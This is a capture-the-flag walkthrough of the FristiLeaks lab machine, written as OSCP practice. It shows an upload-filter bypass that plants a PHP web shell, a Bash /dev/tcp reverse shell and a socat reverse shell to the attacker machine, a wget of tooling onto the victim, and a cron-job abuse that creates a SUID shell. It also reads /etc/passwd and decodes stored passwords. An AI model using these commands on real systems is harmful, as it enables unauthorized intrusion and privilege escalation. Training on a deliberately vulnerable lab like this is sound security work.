FristiLeaks Walkthrough (OSCP Prep)

FristiLeaks Walkthrough (OSCP Prep)

Introduction

Fristileaks is a fairly straightforward CTF-like machine that is considered a good practice box while preparing for the OSCP. The goal is to get root and read the flag file, and the focus is on enumeration.

We will need to read the source for clues, bypass a file upload filter, and even a little guesswork along the way. This write-up will walk through the Fristileaks box from boot to root.

Description

About:
Name: Fristileaks 1.3
Author: Ar0xA
Series: Fristileaks
Style: Enumeration/Follow the breadcrumbs
Goal: get root (uid 0) and read the flag file
Tester(s): dqi, barrebas
Difficulty: Basic

Description:
A small VM made for a Dutch informal hacker meetup called Fristileaks. Meant to be broken in a few hours without requiring debuggers, reverse engineering, etc..

Before We Begin

If you don’t want the Fristileaks VM to use bridged networking, you will have to remove the network adapter and replace it with your own. Check out my post on changing the network configuration in Kioptrix for more information.

IMPORTANT: You must also make sure to set the MAC address correctly on the virtual machine. Otherwise, networking will not work. From the Fristileaks description:

VMware users will need to manually edit the VM’s MAC address to: 08:00:27:A5:A6:76

Tools

Host Discovery

We’ll use arp-scan to locate the Fristileaks machine on our virtual network:

┌──(ori0n㉿kali)-[~/fristileaks]
└─$ sudo arp-scan -l
[sudo] password for ori0n:
Interface: eth0, type: EN10MB, MAC: 00:0c:29:e2:a7:d8, IPv4: 10.0.10.10
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.10.1       00:50:56:c0:00:08       VMware, Inc.
10.0.10.2       00:50:56:fb:3b:27       VMware, Inc.
10.0.10.106     08:00:27:a5:a6:76       PCS Systemtechnik GmbH
10.0.10.199     00:50:56:e7:23:de       VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.954 seconds (131.01 hosts/sec). 4 responded

We find it running at 10.0.10.106. We can update /etc/hosts to give the machine an alias:

10.0.10.106     fristileaks

Scanning and Enumeration

Perform the initial port scan with rustscan:

┌──(ori0n㉿kali)-[~/fristileaks]
└─$ rustscan -a fristileaks -- -sV -oA scans/nmap-initial
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at "/home/ori0n/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.0.10.106:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-05 03:07 CDT
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 03:07
Scanning 10.0.10.106 [2 ports]
Completed Ping Scan at 03:07, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 03:07
Scanning fristileaks (10.0.10.106) [1 port]
Discovered open port 80/tcp on 10.0.10.106
Completed Connect Scan at 03:07, 0.00s elapsed (1 total ports)
Initiating Service scan at 03:07
Scanning 1 service on fristileaks (10.0.10.106)
Completed Service scan at 03:07, 6.04s elapsed (1 service on 1 host)
NSE: Script scanning 10.0.10.106.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 03:07
Completed NSE at 03:07, 0.01s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 03:07
Completed NSE at 03:07, 0.00s elapsed
Nmap scan report for fristileaks (10.0.10.106)
Host is up, received syn-ack (0.00071s latency).
Scanned at 2021-08-05 03:07:40 CDT for 6s

PORT   STATE SERVICE REASON  VERSION
80/tcp open  http    syn-ack Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.49 seconds

We only find one open port. Let’s dig in.

Enumeration

Fire up a web browser and take a look at the site.

Fristileaks webserver front page

There doesn’t seem to be much here: a Twitter link, an image, and some shout-outs.

Checking the image directory reveals one more image, but nothing much of interest. Let’s have a look at robots.txt:

User-agent: *
Disallow: /cola
Disallow: /sisi
Disallow: /beer
Fristileaks `robots.txt` troll

None of these directories seem to lead us to anything interesting. gobuster also gets us nowhere. It seems we will have to play a guessing game.

There certainly seem to be a lot of mentions of the word “fristi”. Let’s try that: http://fristileaks/fristi.

Admin Portal

We’ve found an entry point.

Authentication

We can try a few common attacks here:

  • Common credentials
  • SQL injection

No common credentials worked, and fuzzing with SQL injection payloads gets us nowhere. Let’s take a look at the source. There are a few interesting lines at the top of the source code:

<meta name="description" content="super leet password login-test page. We use base64 encoding for images so they are inline in the HTML. I read somewhere on the web, that thats a good way to do it.">
<!--
TODO:
We need to clean this up for production. I left some junk in here to make testing easier.

- by eezeepz
-->

We have found a potential username, eezeepz. Also, it looks like the image of Nelson is base 64 encoded, and there is more base 64 in a comment directly below the image:

iVBORw0KGgoAAAANSUhEUgAAAW0AAABLCAIAAAA04UHqAAAAAXNSR0IArs4c6QAAAARnQU1BAACx
jwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAARSSURBVHhe7dlRdtsgEIVhr8sL8nqymmwmi0kl
S0iAQGY0Nb01//dWSQyTgdxz2t5+AcCHHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixw
B4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL5kc+f
m63yaP7/XP/5RUM2jx7iMz1ZdqpguZHPl+zJO53b9+1gd/0TL2Wull5+RMpJq5tMTkE1paHlVXJJ
Zv7/d5i6qse0t9rWa6UMsR1+WrORl72DbdWKqZS0tMPqGl8LRhzyWjWkTFDPXFmulC7e81bxnNOvb
DpYzOMN1WqplLS0w+oaXwomXXtfhL8e6W+lrNdDFujoQNJ9XbKtHMpSUmn9BSeGf51bUcr6W+VjNd
jJQjcelwepPCjlLNXFpi8gktXfnVtYSd6UpINdPFCDlyKB3dyPLpSTVzZYnJR7R0WHEiFGv5NrDU
12qmC/1/Zz2ZWXi1abli0aLqjZdq5sqSxUgtWY7syq+u6UpINdOFeI5ENygbTfj+qDbc+QpG9c5
uvFQzV5aM15LlyMrfnrPU12qmC+Ucqd+g6E1JNsX16/i/6BtvvEQzF5YM2JLhyMLz4sNNtp/pSkg1
04VajmwziEdZvmSz9E0YbzbI/FSycgVSzZiXDNmS4cjCni+kLRnqizXThUqOhEkso2k5pGy00aLq
i1n+skSqGfOSIVsKC5Zv4+XH36vQzbl0V0t9rWb6EMyRaLLp+Bbhy31k8SBbjqpUNSHVjHXJmC2Fg
tOH0drysrz404sdLPW1mulDLUdSpdEsk5vf5Gtqg1xnfX88tu/PZy7VjHXJmC21H9lWvBBfdZb6Ws
30oZ0jk3y+pQ9fnEG4lNOco9UnY5dqxrhk0JZKezwdNwqfnv6AOUN9sWb6UMyR5zT2B+lwDh++Fl
3K/U+z2uFJNWNcMmhLzUe2v6n/dAWG+mLN9KGWI9EcKsMJl6o6+ecH8dv0Uu4PnkqDl2rGuiS8HK
ul9iMrFG9gqa/VTB8qORLuSTqF7fYU7tgsn/4+zfhV6aiiIsczlGrGvGTIlsLLhiPbnh6KnLDU12q
mD+0cKQ8nunpVcZ21Rj7erEz0WqoZ+5IRW1oXNB3Z/vBMWulSfYlm+hDLkcIAtuHEUzu/l9l867X34
rPtA6lmLi0ZrqX6gu37aIukRkVaylRfqpk+9HNkH85hNocTKC4P31Vebhd8fy/VzOTCkqeBWlrrFhe
EPdMjO3SSys7XVF+qmT5UcmT9+Ss//fyyOLU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBc5AsCLH
AHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzk
CwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL3IEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtycQAAAABJR
U5ErkJggg==

Save this to a file (b64.txt), and from a terminal, we’ll reverse it to the original data.

┌──(ori0n㉿kali)-[~/fristileaks/files]
└─$ base64 -d b64.txt
PNG

IHDRm4AsRGBgAMA
               a        pHYsodRIDATx^Qv a
                                         zl&I%KH@f455VI
                                                       s~E"Gx#/r9E"Gx#/r9E"Gx#/&T3h#3՗j
                                                                                       ~ݿ~2ZeLZZUW$oy{K}fP9{6XKKL>a%ZD
'*%&RxgյV3]#qpzR\Zb:å0V-]յJH9r(I5seGtXq"k6j                     6
FnT3Wגߞj                                   g=YxibѢꍗjH-YJH5ӅxD7(
        ߠMI6D3
              MJH5ӅZl3GYdMo6TrR
                               /-5ӅJI,i9lѢYD![

otWK}fh}d [T5!Ռuɘ-ӇӋ,C-GR,kj\g}<g.Ռuɘ-V_uZ#|_AӜ'cjƸdЖJ{<7
9C}fP4p]OI5c\2hKGtb#*   :RJjƺ$#+o`L*9I:,>U騢"3jƼdȖ#۞j)'zUqF>LZ[Z4LZR}fˑS;|f.-hFEZT_>sda6(.U^n|/ZZ=#;tT_>Trd+?87j-}dRt!#/r9E"Gx#/r9E"Gx#/r9E"Gx#/r9EZ8rqIENDB`

┌──(ori0n㉿kali)-[~/fristileaks/files]
└─$ base64 -d b64.txt > img.png

It looks like PNG data, so we save the output to a .png file and open it in an image viewer.

Decoded base 64 PNG

Maybe this is a password? If we try it using the eezeepz username found in the source code, we get in.

Successful log in

It looks like we’ve found an upload panel. I wonder what we could do with this…

Getting Code Execution

Clicking the upload file link, we find what appears to be an image upload panel. Perhaps we can get a PHP script uploaded?

We will need a simple PHP shell. We could spin a simple one-liner ourselves, but I’ll use a script included with Kali:

┌──(ori0n㉿kali)-[~/fristileaks]
└─$ locate -r 'webshells.*php'
/usr/share/webshells/php
/usr/share/webshells/php/findsocket
/usr/share/webshells/php/php-backdoor.php
/usr/share/webshells/php/php-reverse-shell.php
/usr/share/webshells/php/qsd-php-backdoor.php
/usr/share/webshells/php/simple-backdoor.php
/usr/share/webshells/php/findsocket/findsock.c
/usr/share/webshells/php/findsocket/php-findsock-shell.php

┌──(ori0n㉿kali)-[~/fristileaks]
└─$ cp /usr/share/webshells/php/simple-backdoor.php .

Now we’ll try to upload this file directly, but it looks like the application will have none of it:

Sorry, is not a valid file. Only allowed are: png,jpg,gif
Sorry, file not uploaded

Somehow, it is validating whether the file is a “valid” image file. Let’s see if we can bypass this check.

Fire up Burp Suite, make sure Intercept is on, and retry the upload. Burp will intercept the request.

Burp intercepts the file upload request

Press Ctrl-R to send the request to Repeater, then toggle Intercept off to allow the request to pass through.

Move to Repeater, and take a look at the request body. There are a couple of methods we could try to use to bypass the filter. The simplest way for a first attempt is to append .png to the filename parameter:

Adding the .png extension

It looks like we have successfully uploaded the script to the /uploads directory. With any luck, it will not have changed the name on us, and the server will execute the PHP despite the .png extension. Navigate to http://fristileaks/fristi/uploads/simple-backdoor.php.png:

We have a web shell

We’ve got our web shell. Let’s move to Burp to make things a bit simpler. Locate the request in the HTTP history tab under the Proxy tab, right-click, and select Send to Repeater. Now, from the Repeater tab, let’s test out our shell.

Testing our shell

Now we can leverage our web shell to spawn a Bash shell. Netcat doesn’t appear to be installed on the victim, so we can try a simple Bash reverse shell:

bash -i > /dev/tcp/10.0.10.10/4444 0>&1 2>&1

Start a listener on the attack box and send the request in Burp.

Spawning a reverse shell

And we’re in!

Upgrading our Shell with Socat

These vanilla netcat shells are annoying, so let’s upgrade to a full TTY shell. Socat is an excellent way to do this. Before we can use it on the target machine, however, we need to copy it over.

We won’t want to try to compile socat on the target, so we’ll need a static binary. Fortunately, some great people have made available entire collections of useful static Linux binaries, including socat. We’ll download a socat binary from the Releases page and copy it over to the victim.

From the attacker machine, run:

┌──(ori0n㉿kali)-[~/tools/linux/x64]
└─$ mv ~/Downloads/socat-1.7.4.1-x86_64 socat

┌──(ori0n㉿kali)-[~/tools/linux/x64]
└─$ updog -p9999
[+] Serving /home/ori0n/tools/linux/x64...
 * Running on http://0.0.0.0:9999/ (Press CTRL+C to quit)

Then, from the victim:

bash-4.1$ cd /tmp
cd /tmp
bash-4.1$ wget kali:9999/socat
wget kali:9999/socat
--2021-08-06 07:02:21--  http://kali:9999/socat
Resolving kali... 10.0.10.10
Connecting to kali|10.0.10.10|:9999... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3046088 (2.9M) [text/plain]
Saving to: `socat'

     0K .......... .......... .......... .......... ..........  1% 3.76M 1s
    50K .......... .......... .......... .......... ..........  3%  103M 0s
   100K .......... .......... .......... .......... ..........  5% 43.0M 0s
   150K .......... .......... .......... .......... ..........  6% 28.2M 0s
   200K .......... .......... .......... .......... ..........  8% 61.9M 0s
   250K .......... .......... .......... .......... .......... 10%  205M 0s
   300K .......... .......... .......... .......... .......... 11% 16.5M 0s
   350K .......... .......... .......... .......... .......... 13% 40.3M 0s
   400K .......... .......... .......... .......... .......... 15% 39.4M 0s
   450K .......... .......... .......... .......... .......... 16% 24.6M 0s
   500K .......... .......... .......... .......... .......... 18% 42.3M 0s
   550K .......... .......... .......... .......... .......... 20% 38.1M 0s
   600K .......... .......... .......... .......... .......... 21% 40.8M 0s
   650K .......... .......... .......... .......... .......... 23% 41.5M 0s
   700K .......... .......... .......... .......... .......... 25% 49.3M 0s
   750K .......... .......... .......... .......... .......... 26%  138M 0s
   800K .......... .......... .......... .......... .......... 28% 83.0M 0s
   850K .......... .......... .......... .......... .......... 30%  481M 0s
   900K .......... .......... .......... .......... .......... 31% 13.3M 0s
   950K .......... .......... .......... .......... .......... 33%  484M 0s
  1000K .......... .......... .......... .......... .......... 35% 22.9M 0s
  1050K .......... .......... .......... .......... .......... 36% 20.4M 0s
  1100K .......... .......... .......... .......... .......... 38%  516M 0s
  1150K .......... .......... .......... .......... .......... 40% 12.3M 0s
  1200K .......... .......... .......... .......... .......... 42% 17.9M 0s
  1250K .......... .......... .......... .......... .......... 43%  602M 0s
  1300K .......... .......... .......... .......... .......... 45% 12.3M 0s
  1350K .......... .......... .......... .......... .......... 47% 31.4M 0s
  1400K .......... .......... .......... .......... .......... 48% 12.0M 0s
  1450K .......... .......... .......... .......... .......... 50%  418M 0s
  1500K .......... .......... .......... .......... .......... 52% 16.1M 0s
  1550K .......... .......... .......... .......... .......... 53% 1.74M 0s
  1600K .......... .......... .......... .......... .......... 55% 74.4M 0s
  1650K .......... .......... .......... .......... .......... 57%  308M 0s
  1700K .......... .......... .......... .......... .......... 58%  109M 0s
  1750K .......... .......... .......... .......... .......... 60% 62.4M 0s
  1800K .......... .......... .......... .......... .......... 62% 47.2M 0s
  1850K .......... .......... .......... .......... .......... 63% 60.7M 0s
  1900K .......... .......... .......... .......... .......... 65% 36.5M 0s
  1950K .......... .......... .......... .......... .......... 67% 86.7M 0s
  2000K .......... .......... .......... .......... .......... 68% 62.5M 0s
  2050K .......... .......... .......... .......... .......... 70% 56.4M 0s
  2100K .......... .......... .......... .......... .......... 72% 11.6M 0s
  2150K .......... .......... .......... .......... .......... 73%  104M 0s
  2200K .......... .......... .......... .......... .......... 75% 1.63M 0s
  2250K .......... .......... .......... .......... .......... 77% 25.3M 0s
  2300K .......... .......... .......... .......... .......... 78% 23.7M 0s
  2350K .......... .......... .......... .......... .......... 80% 52.4M 0s
  2350K .......... .......... .......... .......... .......... 80% 52.4M 0s
  2400K .......... .......... .......... .......... .......... 82% 35.9M 0s
  2450K .......... .......... .......... .......... .......... 84% 52.3M 0s
  2500K .......... .......... .......... .......... .......... 85% 64.3M 0s
  2550K .......... .......... .......... .......... .......... 87% 36.9M 0s
  2600K .......... .......... .......... .......... .......... 89% 40.1M 0s
  2650K .......... .......... .......... .......... .......... 90% 45.6M 0s
  2700K .......... .......... .......... .......... .......... 92% 38.1M 0s
  2750K .......... .......... .......... .......... .......... 94% 76.1M 0s
  2800K .......... .......... .......... .......... .......... 95% 41.5M 0s
  2850K .......... .......... .......... .......... .......... 97% 49.4M 0s
  2900K .......... .......... .......... .......... .......... 99% 77.1M 0s
  2950K .......... .......... ....                            100% 56.4M=0.1s

2021-08-06 07:02:22 (19.8 MB/s) - `socat' saved [3046088/3046088]

bash-4.1$ chmod +x socat
chmod +x socat

We now have the socat binary located at /tmp/socat-2.0.0-b8/socat. Let’s upgrade our shell.

GTFOBins has a great cheat sheet on getting a socat reverse shell. From our attacker box, run:

┌──(ori0n㉿kali)-[~/tools/linux/x64]
└─$ socat file:`tty`,rawer tcp-listen:1337,reuseaddr

And now, on the victim:

bash-4.1$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.10.10:1337

We now have a fully working TTY shell with history and tab completion. And Ctrl-C won’t kill our shell!

Privilege Escalation

We aren’t going to be able to do much with the apache account, so let’s get on with some privesc. First, let’s check out what users exist on the system:

bash-4.1$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
vboxadd:x:498:1::/var/run/vboxadd:/bin/false
eezeepz:x:500:500::/home/eezeepz:/bin/bash
admin:x:501:501::/home/admin:/bin/bash
fristigod:x:502:502::/var/fristigod:/bin/bash
fristi:x:503:100::/var/www:/sbin/nologin

It looks like there are four user accounts: eezeepz, admin, fristigod, and fristi. Do any of them belong to any interesting groups? Let’s check /etc/groups.

bash-4.1$ cat /etc/group
root:x:0:
bin:x:1:bin,daemon
daemon:x:2:bin,daemon
sys:x:3:bin,adm
adm:x:4:adm,daemon
tty:x:5:
disk:x:6:
lp:x:7:daemon
mem:x:8:
kmem:x:9:
wheel:x:10:
mail:x:12:mail,postfix
uucp:x:14:
man:x:15:
games:x:20:
gopher:x:30:
video:x:39:
dip:x:40:
ftp:x:50:
lock:x:54:
audio:x:63:
nobody:x:99:
users:x:100:
floppy:x:19:
vcsa:x:69:
utmp:x:22:
utempter:x:35:
cdrom:x:11:
tape:x:33:
dialout:x:18:
saslauth:x:76:
postdrop:x:90:
postfix:x:89:
fuse:x:499:
sshd:x:74:
apache:x:48:
mysql:x:27:
vboxsf:x:498:
eezeepz:x:500:
admin:x:501:
fristigod:x:502:fristi

So fristigod belongs to the fristi group. Interesting. This means it is likely that fristi is our target user in order to escalate to root. But there may be a few stops along the way…

Getting admin

We’ll enumerate the /home directory to look for any significant readable files::

bash-4.1$ ls -alR /home
/home:
total 28
drwxr-xr-x.  5 root      root       4096 Nov 19  2015 .
dr-xr-xr-x. 22 root      root       4096 Aug  4 23:01 ..
drwx------.  2 admin     admin      4096 Nov 19  2015 admin
drwx---r-x.  5 eezeepz   eezeepz   12288 Nov 18  2015 eezeepz
drwx------   2 fristigod fristigod  4096 Nov 19  2015 fristigod
ls: cannot open directory /home/admin: Permission denied

/home/eezeepz:
total 2608
drwx---r-x. 5 eezeepz eezeepz  12288 Nov 18  2015 .
drwxr-xr-x. 5 root    root      4096 Nov 19  2015 ..
drwxrwxr-x. 2 eezeepz eezeepz   4096 Nov 17  2015 .Old
-rw-r--r--. 1 eezeepz eezeepz     18 Sep 22  2015 .bash_logout
-rw-r--r--. 1 eezeepz eezeepz    176 Sep 22  2015 .bash_profile
-rw-r--r--. 1 eezeepz eezeepz    124 Sep 22  2015 .bashrc
drwxrwxr-x. 2 eezeepz eezeepz   4096 Nov 17  2015 .gnome
drwxrwxr-x. 2 eezeepz eezeepz   4096 Nov 17  2015 .settings
-rwxr-xr-x. 1 eezeepz eezeepz  24376 Nov 17  2015 MAKEDEV
-rwxr-xr-x. 1 eezeepz eezeepz  33559 Nov 17  2015 cbq
-rwxr-xr-x. 1 eezeepz eezeepz   6976 Nov 17  2015 cciss_id
-rwxr-xr-x. 1 eezeepz eezeepz  56720 Nov 17  2015 cfdisk
-rwxr-xr-x. 1 eezeepz eezeepz  25072 Nov 17  2015 chcpu
-rwxr-xr-x. 1 eezeepz eezeepz  52936 Nov 17  2015 chgrp
-rwxr-xr-x. 1 eezeepz eezeepz  31800 Nov 17  2015 chkconfig
-rwxr-xr-x. 1 eezeepz eezeepz  48712 Nov 17  2015 chmod
-rwxr-xr-x. 1 eezeepz eezeepz  53640 Nov 17  2015 chown
-rwxr-xr-x. 1 eezeepz eezeepz  44528 Nov 17  2015 clock
-rwxr-xr-x. 1 eezeepz eezeepz   4808 Nov 17  2015 consoletype
-rwxr-xr-x. 1 eezeepz eezeepz 129992 Nov 17  2015 cpio
-rwxr-xr-x. 1 eezeepz eezeepz  38608 Nov 17  2015 cryptsetup
-rwxr-xr-x. 1 eezeepz eezeepz   5344 Nov 17  2015 ctrlaltdel
-rwxr-xr-x. 1 eezeepz eezeepz  41704 Nov 17  2015 cut
-rwxr-xr-x. 1 eezeepz eezeepz  14832 Nov 17  2015 halt
-rwxr-xr-x. 1 eezeepz eezeepz  13712 Nov 17  2015 hostname
-rwxr-xr-x. 1 eezeepz eezeepz  44528 Nov 17  2015 hwclock
-rwxr-xr-x. 1 eezeepz eezeepz   7920 Nov 17  2015 kbd_mode
-rwxr-xr-x. 1 eezeepz eezeepz  11576 Nov 17  2015 kill
-rwxr-xr-x. 1 eezeepz eezeepz  16472 Nov 17  2015 killall5
-rwxr-xr-x. 1 eezeepz eezeepz  32928 Nov 17  2015 kpartx
-rwxr-xr-x. 1 eezeepz eezeepz  11464 Nov 17  2015 nameif
-rwxr-xr-x. 1 eezeepz eezeepz 171784 Nov 17  2015 nano
-rwxr-xr-x. 1 eezeepz eezeepz   5512 Nov 17  2015 netreport
-rwxr-xr-x. 1 eezeepz eezeepz 123360 Nov 17  2015 netstat
-rwxr-xr-x. 1 eezeepz eezeepz  13892 Nov 17  2015 new-kernel-pkg
-rwxr-xr-x. 1 eezeepz eezeepz  25208 Nov 17  2015 nice
-rwxr-xr-x. 1 eezeepz eezeepz  13712 Nov 17  2015 nisdomainname
-rwxr-xr-x. 1 eezeepz eezeepz   4736 Nov 17  2015 nologin
-r--r--r--. 1 eezeepz eezeepz    514 Nov 18  2015 notes.txt
-rwxr-xr-x. 1 eezeepz eezeepz 390616 Nov 17  2015 tar
-rwxr-xr-x. 1 eezeepz eezeepz  11352 Nov 17  2015 taskset
-rwxr-xr-x. 1 eezeepz eezeepz 249000 Nov 17  2015 tc
-rwxr-xr-x. 1 eezeepz eezeepz  51536 Nov 17  2015 telinit
-rwxr-xr-x. 1 eezeepz eezeepz  47928 Nov 17  2015 touch
-rwxr-xr-x. 1 eezeepz eezeepz  11440 Nov 17  2015 tracepath
-rwxr-xr-x. 1 eezeepz eezeepz  12304 Nov 17  2015 tracepath6
-rwxr-xr-x. 1 eezeepz eezeepz  21112 Nov 17  2015 true
-rwxr-xr-x. 1 eezeepz eezeepz  35608 Nov 17  2015 tune2fs
-rwxr-xr-x. 1 eezeepz eezeepz  15410 Nov 17  2015 weak-modules
-rwxr-xr-x. 1 eezeepz eezeepz  12216 Nov 17  2015 wipefs
-rwxr-xr-x. 1 eezeepz eezeepz 504400 Nov 17  2015 xfs_repair
-rwxr-xr-x. 1 eezeepz eezeepz  13712 Nov 17  2015 ypdomainname
-rwxr-xr-x. 1 eezeepz eezeepz     62 Nov 17  2015 zcat
-rwxr-xr-x. 1 eezeepz eezeepz  47520 Nov 17  2015 zic

/home/eezeepz/.Old:
total 16
drwxrwxr-x. 2 eezeepz eezeepz  4096 Nov 17  2015 .
drwx---r-x. 5 eezeepz eezeepz 12288 Nov 18  2015 ..

/home/eezeepz/.gnome:
total 16
drwxrwxr-x. 2 eezeepz eezeepz  4096 Nov 17  2015 .
drwx---r-x. 5 eezeepz eezeepz 12288 Nov 18  2015 ..

/home/eezeepz/.settings:
total 16
drwxrwxr-x. 2 eezeepz eezeepz  4096 Nov 17  2015 .
drwx---r-x. 5 eezeepz eezeepz 12288 Nov 18  2015 ..
ls: cannot open directory /home/fristigod: Permission denied

We can see a lot of files in the eezeepz directory – mostly binaries. There is a readable text file though. Let’s check it out:

bash-4.1$ cat ~eezeepz/notes.txt
Yo EZ,

I made it possible for you to do some automated checks,
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/

Don't forget to specify the full path for each binary!

Just put a file called "runthis" in /tmp/, each line one command. The
output goes to the file "cronresult" in /tmp/. It should
run every minute with my account privileges.

- Jerry

So the admin account uses a cron job to run a script /tmp/runthis every minute. There are restrictions in place for the commands within the script, however: they must be in /usr/bin or in /home/admin. Looking through the contents of /usr/bin for any useful programs, we find a gem: /usr/bin/python.

Perhaps we can use Python to execute any commands we wish with admin privileges? Let’s test this out. Create a file runthis in the /tmp directory with the following script:

/usr/bin/python -c "import os; os.system('cp /bin/sh /tmp/pwn; chmod 4755 /tmp/pwn')"

Now wait for the next minute to turn over, then see if we have our new file:

bash-4.1$ ls -l
total 1440
-rw-r--r-- 1 admin  admin      97 Aug  5 00:31 cronresult
-rwsr-xr-x 1 admin  admin  906152 Aug  5 00:31 pwn
-rw-r--r-- 1 apache apache     86 Aug  5 00:30 runthis
drwxr-xr-x 2 apache apache   4096 Jun 16  2015 socat-2.0.0-b8
-rw-r--r-- 1 apache apache 549787 Aug  1 14:02 socat-2.0.0-b8.tar.gz

Bingo! We should now have a SUID shell. Don’t forget to use the -p option to retain the setuid privileges.

bash-4.1$ ./pwn -p
pwn-4.1$ id
uid=48(apache) gid=48(apache) euid=501(admin) groups=48(apache)

On to fristigod

While the admin account sound powerful, we’ll still don’t have his password, and it seems he doesn’t have the privileges we need to get root. Let’s enumerate his home directory:

pwn-4.1$ cd /home/admin
pwn-4.1$ ls -la
total 652
drwx------. 2 admin     admin       4096 Nov 19  2015 .
drwxr-xr-x. 5 root      root        4096 Nov 19  2015 ..
-rw-r--r--. 1 admin     admin         18 Sep 22  2015 .bash_logout
-rw-r--r--. 1 admin     admin        176 Sep 22  2015 .bash_profile
-rw-r--r--. 1 admin     admin        124 Sep 22  2015 .bashrc
-rwxr-xr-x  1 admin     admin      45224 Nov 18  2015 cat
-rwxr-xr-x  1 admin     admin      48712 Nov 18  2015 chmod
-rw-r--r--  1 admin     admin        737 Nov 18  2015 cronjob.py
-rw-r--r--  1 admin     admin         21 Nov 18  2015 cryptedpass.txt
-rw-r--r--  1 admin     admin        258 Nov 18  2015 cryptpass.py
-rwxr-xr-x  1 admin     admin      90544 Nov 18  2015 df
-rwxr-xr-x  1 admin     admin      24136 Nov 18  2015 echo
-rwxr-xr-x  1 admin     admin     163600 Nov 18  2015 egrep
-rwxr-xr-x  1 admin     admin     163600 Nov 18  2015 grep
-rwxr-xr-x  1 admin     admin      85304 Nov 18  2015 ps
-rw-r--r--  1 fristigod fristigod     25 Nov 19  2015 whoisyourgodnow.txt

Of interest are the Python script and the two .txt files. Check them out:

mVGZ3O3omkJLmy2pcuTq
=RFn0AKnlMHMPIzpyuTI0ITG
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys

def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')

cryptoResult=encodeString(sys.argv[1])
print cryptoResult

It looks like two encrypted passwords and the script that was used to encrypt them. Let’s break down this algorithm.

Given an input string (password), we:

  1. Encode the string using base 64
  2. Reverse the encoded string
  3. Perform a rot13 on the reversed encoded string

We can reverse this encryption with a Bash one-liner. (Credit to exploitshit for the tr rot13 trick.

pwn-4.1$ cat cryptedpass.txt | rev | tr '[A-Za-z]' '[N-ZA-Mn-za-m]' | base64 -d; echo
thisisalsopw123
pwn-4.1$ cat whoisyourgodnow.txt | rev | tr '[A-Za-z]' '[N-ZA-Mn-za-m]' | base64 -d; echo
LetThereBeFristi!

These look like passwords to me! We can verify with su:

pwn-4.1$ su admin
Password: [thisisalsopw123]
[admin@localhost ~]$ su fristigod
Password: [LetThereBeFristi!]
bash-4.1$ id
uid=502(fristigod) gid=502(fristigod) groups=502(fristigod)

We’ve discovered two passwords, and we have access to the fristigod account. I wonder what privileges he may have…

bash-4.1$ sudo -l
[sudo] password for fristigod:
Matching Defaults entries for fristigod on this host:
    requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS
    DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
    PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
